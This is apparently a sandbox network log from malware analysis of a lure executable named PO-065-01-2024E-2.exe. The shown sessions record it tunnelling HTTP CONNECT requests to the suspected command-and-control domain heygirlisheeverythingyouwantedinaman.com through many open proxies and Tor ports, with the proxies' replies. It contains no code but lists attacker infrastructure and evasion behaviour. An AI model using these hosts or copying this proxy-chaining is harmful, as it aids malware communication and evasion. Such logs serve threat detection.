Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.10	51991	202.162.219.10	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.770042896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.10	51358	51.158.79.76	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.776257992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.909223080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.911206007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.910907984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.910820007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.990767956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.098289967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.098084927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.10	51384	213.136.78.200	19925	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.798511028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.909223080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.911206007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.910907984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.911056042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.990767956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.10	52204	104.21.31.189	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.798764944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.953710079 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.10	52062	14.232.235.13	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.799118042 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:47.173882961 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.10	52085	203.96.177.211	43839	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.808147907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.676321983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676831961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.786128998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.786062956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.785975933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.786183119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.10	52239	172.67.181.17	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.853643894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.008091927 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.10	52159	52.151.210.204	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.854197979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.10	51344	159.89.194.121	16075	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.854662895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.909223080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.10	51369	41.33.219.131	1981	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.857950926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.909189939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.573658943 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.10	52059	80.241.44.34	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.859117031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.10	52124	37.18.73.60	5566	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.859349966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.187145948 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.10	51899	117.160.250.134	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.859888077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.399360895 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.10	52269	104.20.198.49	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.893637896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.052690029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.10	52108	61.133.66.69	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.895790100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.754107952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961874962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.411041975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098736048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.862200975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.598679066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.10	52165	58.75.126.235	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.900034904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.10	52252	162.214.121.11	8989	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.908077955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.488953114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.10	52167	147.75.92.251	10010	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.910321951 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:47.192200899 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.10	52219	98.170.57.231	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.911710978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.10	51336	178.115.230.243	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
